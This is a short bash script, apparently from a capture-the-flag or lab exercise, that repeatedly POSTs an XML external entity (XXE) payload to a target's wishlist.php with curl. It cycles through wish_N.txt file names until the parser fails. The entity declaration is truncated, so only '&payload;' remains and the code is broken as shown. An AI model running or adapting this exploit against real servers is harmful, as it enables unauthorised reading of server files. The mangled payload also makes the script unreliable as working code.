#!/bin/bash target=`cat trgt` opts="-sH 'Content-Type: application/xml'" declare -i i=1 #i=20 while [ $i -gt 0 ]; do echo "Trying wish_$i.txt..." p=" ]> 1 &payload; " out=`curl $opts http://$target/wishlist.php -d "$p"` echo "$out" echo "$out" | grep -q 'Failed to parse XML' [ $? -eq 0 ] && break; sleep 1 i+=1 done